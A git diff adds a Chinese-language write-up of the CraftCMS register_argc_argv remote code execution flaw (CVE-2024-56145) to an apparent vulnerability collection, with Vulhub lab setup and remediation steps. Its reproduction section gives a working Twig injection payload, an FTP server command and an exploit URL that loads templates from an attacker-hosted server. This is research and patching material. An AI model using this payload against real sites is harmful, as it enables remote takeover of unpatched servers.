diff --git a/README.md b/README.md index 69b57a5..94e1f97 100644 --- a/README.md +++ b/README.md @@ -296,6 +296,7 @@ * CMA客诉管理系统 upFile.ashx 任意文件上传漏洞 * Coremail 路径遍历与文件上传漏洞 * Coremail 配置信息泄露漏洞 + * CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145 * Crawlab file 任意文件读取漏洞 * Crawlab users 任意用户添加漏洞 * Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817 diff --git a/Web应用漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md b/Web应用漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md new file mode 100644 index 0000000..f55a900 --- /dev/null +++ b/Web应用漏洞/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145.md @@ -0,0 +1,66 @@ +# CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145 + +## 漏洞描述 + +CraftCMS 是一个基于 PHP 的内容管理系统,用于构建网站和应用程序。 + +CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 `register_argc_argv` 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 `--templatesPath` 控制模板文件,并利用模板注入导致任意代码执行。 + +参考链接: + +- [https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9](https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9) +- [https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) + +## 披露时间 + +2024-12-19 + +## 漏洞影响 + +``` +5.0.0-RC1 <= Craft CMS < 5.5.2 +4.0.0-RC1 <= Craft CMS < 4.13.2 +``` + +## 环境搭建 + +Vulhub 执行以下命令启动一个 CraftCMS 5.5.1.1 服务器: + +``` +docker-compose up -d +``` + +服务器启动后,你可以在 `http://:8088/admin/install` 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 `db`,用户名和密码均为 `root`。 + +![](images/CraftCMS%20register_argc_argv%20远程代码执行漏洞%20CVE-2024-56145/image-20250113150841735.png) + +## 漏洞复现 + +要复现该漏洞,你需要准备一个包含以下内容的 `index.twig` 文件并放置在任意远程服务器上: + +```html +{{ ['system', 'id'] | sort('call_user_func') | join('') }} +``` + +然后在 `index.twig` 文件所在的服务器中启动一个 FTP 服务器: + +```shell +# 安装 pyftpdlib +pip install pyftpdlib + +# 启动 FTP 服务器 +python -m pyftpdlib -p 21212 -V +``` + +然后你可以通过发送以下请求来利用该漏洞: + +``` +http://:8088/?--templatesPath=ftp://:21212/ +``` + +![](images/CraftCMS%20register_argc_argv%20远程代码执行漏洞%20CVE-2024-56145/image-20250113151515486.png) + +## 漏洞修复 + +1. 升级 Craft CMS 至安全版本。 +2. 设置 register_argc_argv 为 off。 diff --git a/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png b/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png new file mode 100644 index 0000000..96753a9 Binary files /dev/null and b/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113150841735.png differ diff --git a/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png b/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png new file mode 100644 index 0000000..0a4d374 Binary files /dev/null and b/Web应用漏洞/images/CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145/image-20250113151515486.png differ